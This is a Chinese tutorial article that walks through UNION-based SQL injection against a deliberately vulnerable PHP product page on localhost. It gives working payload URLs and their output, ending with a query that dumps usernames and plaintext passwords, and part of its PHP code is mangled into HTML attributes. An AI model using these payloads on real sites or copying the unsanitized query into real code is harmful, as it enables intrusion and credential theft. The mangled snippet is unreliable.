返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP的SQL注入完整过程
  • 291
分享到

PHP的SQL注入完整过程

2024-04-02 19:04:59 291人浏览 泡泡鱼
摘要

这篇文章主要介绍“PHP的sql注入完整过程”,在日常操作中,相信很多人在php的SQL注入完整过程问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”PHP的SQL注入完整过程”

这篇文章主要介绍“PHPsql注入完整过程”,在日常操作中,相信很多人在php的SQL注入完整过程问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”PHP的SQL注入完整过程”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

  SQL注入就是通过把SQL命令插入到WEB表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

  首先观察两个MYSQL数据表

  用户记录表:

  REATE TABLE `php_user` (

  `id` int(11) NOT NULL auto_increment,

  `username` varchar(20) NOT NULL default '',

  `passWord` varchar(20) NOT NULL default '',

  `userlevel` char(2) NOT NULL default '0',

  PRIMARY KEY (`id`)

  ) TYPE=MyISAM AUTO_INCREMENT=3 ;

  INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');

  INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');

  产品记录列表:

  CREATE TABLE `php_product` (

  `id` int(11) NOT NULL auto_increment,

  `name` varchar(100) NOT NULL default '',

  `price` float NOT NULL default '0',

  `img` varchar(200) NOT NULL default '',

  PRIMARY KEY (`id`)

  ) TYPE=MyISAM AUTO_INCREMENT=3 ;

  INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');

  INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');

  以下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞

  $conn = Mysql_connect("localhost", "root", "root");

  if(!$conn){

  echo "数据库联接错误";

  exit;

  }

  if (!mysql_select_db("phpsql")) {

  echo "选择数据库出错" . mysql_error();

  exit;

  }

  $tempID=$_GET['id'];

  if($tempID<=0 tempid="1;" sql="SELECT * FROM php_product WHERE id =$tempID" echo="" result="mysql_query($sql);" if="" .="" while="" row="mysql_fetch_assoc($result))">

  观察此语句:$sql = "SELECT * FROM php_product WHERE id =$tempID";

  $tempID是从$_GET得到。我们可以构造这个变量的值,从而达到SQL注入的目的

  分别构造以下链接:

  1、 Http://localhost/phpsql/index.php?id=1

  得到以下输出

  SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句

  //得到ID为1的产品资料列表

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  2、 http://localhost/phpsql/index.php?id=1 or 1=1

  得到输出

  SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句

  //一共两条产品资料列表

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:2

  name:name_2

  price:35.25

  image:images/name_2.jpg

  1和2都得到资料列表输出,证明SQL语句执行成功

  判断数据表字段数量

  http://localhost/phpsql/index.php?id=1 uNIOn select 1,1,1,1

  得到输出

  SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句

  //一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:1

  name:1

  price:1

  image:1

  判断数据表字段类型

  http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

  得到输出

  SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:0

  name:A

  price:0

  image:A

  注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面

  为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型

  大功告成,得到我们想要的东西:

  http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

  得到输出:

  SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user

  //输出了两条用户资料,name为用户名称,image为用户密码。

  ID:1

  name:seven

  price:1

  image:seven_pwd

  ID:1

  name:swons

  price:1

  image:swons_pwd

  注意URL中的ID=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况ID的值有所不同

  union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询

  语句的特点

  备注:

  这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。

到此,关于“PHP的SQL注入完整过程”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注编程网网站,小编会继续努力为大家带来更多实用的文章!

--结束END--

本文标题: PHP的SQL注入完整过程

本文链接: https://www.lsjlt.com/news/59796.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • PHP的SQL注入完整过程
    这篇文章主要介绍“PHP的SQL注入完整过程”,在日常操作中,相信很多人在PHP的SQL注入完整过程问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”PHP的SQL注入完整过程”...
    99+
    2024-04-02
  • sql server2008调试存储过程的完整步骤
    前言 SQLSERVER 2005中不知因何去掉了很重要的DEBUGGER功能,要调试,必须要安装VS2005专业版或者更高版本。非常不方便。 还好,SQLSERVER 2008中这个很重要而且方便的功能又...
    99+
    2024-04-02
  • SpringMVC注解式开发示例完整过程
    目录项目案例实现步骤项目创建添加依赖配置web.xml文件配置spring-config.xml文件编写一个Controller类创建响应页面运行并测试程序 项目案例  &...
    99+
    2023-02-27
    Spring MVC注解式开发 Spring注解开发
  • php sql注入
    文章目录 一、什么是sql注入二、sql注入处理1、使用内置函数2、使用pdo预处理语句 三、安全注意事项 一、什么是sql注入 在应用程序中,为了和用户交互,允许用户提交输入数...
    99+
    2023-08-30
    sql php mysql php sql 注入 sql 注入
  • dgbroker搭建的完整过程
    本篇内容介绍了“dgbroker搭建的完整过程”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一个表或索引或...
    99+
    2024-04-02
  • SpringBoot整合Swagger2的完整过程记录
    目录前言一、SpringBootWeb整合Swagger2过程1.1、添加Swagger2相关依赖1.2、配置Swagger2配置类二、配置Swagger2接口常用注解2.1、@Ap...
    99+
    2024-04-02
  • SpringBoot整合EasyExcel的完整过程记录
    目录为什么要用EasyExcel1.EasyExcel简介2.使用EasyExcel实现写2.1 创建实体类2.2 测试写Excel3.使用EasyExcel实现读3.1 创建读取操...
    99+
    2024-04-02
  • SQL注入漏洞过程的示例分析
    这篇文章将为大家详细讲解有关SQL注入漏洞过程的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。代码示例:public class JDBCDe...
    99+
    2024-04-02
  • SQL注入全过程的深入分析是怎样的
    这篇文章将为大家详细讲解有关SQL注入全过程的深入分析是怎样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。分析了SQL注入全过程,具体如下:初步注入--绕...
    99+
    2024-04-02
  • SQL注入之绕过is_numeric过滤
    目录 预备知识PHP常用的过滤类函数is_numeric()函数介绍 实验目的实验环境实验步骤一通过源代码审计,发现临时文件 实验步骤二通过分析源代码的执行逻辑,了解程序的功能,发现程...
    99+
    2023-08-31
    数据库 php mysql sql 安全
  • C++ DLL注入工具(完整源码)
    先上源码: #include "Inject_Main.h" #include "resource.h" #include <Windows.h> #include &l...
    99+
    2024-04-02
  • 存储过程怎么防止sql注入
    存储过程防止sql注入的方法:对特殊字符进行过滤,例如:-- Function: fn_escapecmdshellstring-- Description: Returns an ...
    99+
    2024-04-02
  • Centos8.4安装zabbix6.4完整过程
    安装zabbix仓库 rpm -Uvh https://repo.zabbix.com/zabbix/6.2/rhel/8/x86_64/zabbix-release-6.2-3.el8.noarch...
    99+
    2023-09-12
    mysql php 数据库 linux
  • Docker制作镜像的完整过程
    目录前言创建步骤创建CentOS基础镜像创建容器并自定义以自定义容器创建新镜像保存、加载镜像tar包将镜像推送到远程仓库参考链接前言 以制作CentOS镜像为例,讲述对镜像自定义,打...
    99+
    2024-04-02
  • SQL注入相关知识整理
    SQL注入相关知识整理 SQL注入 什么是SQL注入  SQL注入(Sql Injection ) 是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击 这些参数传递给后台的SQL数据库服务器加以解析并执行 哪里存在SQL注入?...
    99+
    2019-01-31
    SQL注入相关知识整理 数据库入门 数据库基础教程 数据库 mysql
  • PHP入门指南:SQL注入
    PHP入门指南:SQL注入随着互联网的快速发展,Web应用程序越来越普及,其安全性也成为了人们极为关注的问题。SQL注入是 Web应用程序中的一种常见攻击方式,它可以导致严重的安全问题,从而对 Web应用程序的正常运行造成影响。在学习和使用...
    99+
    2023-05-20
    PHP sql注入 入门指南
  • PHP中的SQL注入问题
    在现代互联网应用的开发中,使用PHP开发应用是非常流行的一个选择。但是,PHP中的SQL注入问题一直是开发者们需要关注和解决的一个重要问题。SQL注入的定义是指通过在应用程序中输入恶意的SQL代码来篡改、插入或删除数据库中的数据,从而导致应...
    99+
    2023-05-24
    sql注入 PHP安全 数据过滤
  • sql防注入怎么绕过
    如何绕过 sql 注入防护 SQL 注入是一种恶意攻击技术,攻击者通过将 SQL 查询注入到应用程序中来获取对数据库的未授权访问。为了保护应用程序免受 SQL 注入攻击,开发人员通常会实...
    99+
    2024-05-30
  • PHP AMR转MP3的完整教程
    在本文中,我们将提供一个完整的教程来演示如何使用PHP将AMR格式的音频文件转换为MP3格式。在这个教程中,我们将使用FFmpeg工具来实现这一转换过程,并将为你提供详细的步骤和代码示...
    99+
    2024-02-28
    amr php mp
  • SQL Server还原完整备份和差异备份的操作过程
    1.首先右键数据库,点击还原数据库: 然后会打开还原数据库窗口,如图所示: 首先 "源" 选择设备,并且选择到完整备份的数据库备份文件然后在 "目标" 数据库可直接填写还原以后...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作